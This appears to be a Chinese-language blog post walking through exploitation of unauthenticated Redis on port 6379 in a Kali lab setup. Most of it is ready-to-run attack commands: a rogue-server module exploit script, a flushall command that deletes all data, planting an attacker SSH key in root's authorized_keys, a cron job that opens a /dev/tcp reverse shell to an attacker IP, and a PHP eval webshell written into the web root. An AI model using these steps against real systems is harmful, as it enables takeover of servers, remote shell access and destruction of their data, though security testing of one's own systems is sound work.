Redis(6379)未授权访问

 

环境搭建

 打开kali终端 输入命令

wget http://download.redis.io/releases/redis-3.2.0.tar.gz

tar xzf redis-3.2.0.tar.gz

cd redis-3.2.0

make

cd src

cp redis-server /usr/bin

cp redis-cli /usr/bin

将redis-server和redis-cli拷贝到/usr/bin目录下

cd ..

返回目录redis-3.2,将redis.conf拷贝到/etc/目录下:

cp redis.conf /etc

使用/etc/目录下的reids.conf文件中的配置启动redis服务:

再次进入src目录

redis-server /etc/redis.conf

编辑etc中的redis配置文件redis.conf

vim /etc/redis.conf

打开kali的第二个终端 再次来到src目录

cd redis-3.2.0

ls

cd src

./redis-cli -h (ip地址)

get dir  或者info

 

一、脚本测试

https://github.com/vulhub/redis-rogue-getshell

cd RedisModulesSDK/

make

cd ../

python3 redis-master.py -r 192.168.49.2 -p 6379 -L 192.168.49.5 -P 4441 -f RedisModulesSDK/exp.so -c "id"

 

 

 

二、手工测试
1.远程连接

查看里面的key和其对应的值

2. Redis删除数据

flushall 删除所有数据

del key 删除键为key的数据

3.通过ssh密钥登陆Redis Server

攻击机上ssh-keygen生成公钥和私钥,将公钥写入Redis服务器,即可使用私钥登陆

ssh-keygen

cat  /root/.ssh/id_rsa.pub

输入以下命令:

cd /root/.ssh

ls

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

cat /root/.ssh/key.txt | ./redis-cli -h 192.168.244.128 -x set xxx

./redis-cli -h 192.168.244.128

config set dir /root/.ssh

config set dbfilename authorized_keys

keys *

save

这时候用ssh远程连接:

ssh 192.168.244.128

4.在crontab里写定时任务,反弹shell

首先攻击端 开启监听

nc -l 4444

连接redis,写入定时任务

./redis-cli -h 192.168.244.128

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.244.129/4444 0>&1\n\n"

config set dir /var/spool/cron

config set dbfilename root

save

5.写入webshell文件

./redis-cli -h 192.168.244.128

config set dir /var/www/html

set xxx "\n\n\n<?php @eval($_POST['c']);?>\n\n\n"

config set dbfilename webshell.php

save

脚本检测

https://github.com/n0b0dyCN/redis-rogue-server



posted @ 2021-04-27 14:34  bingtanghulu  阅读(520)  评论(0编辑  收藏  举报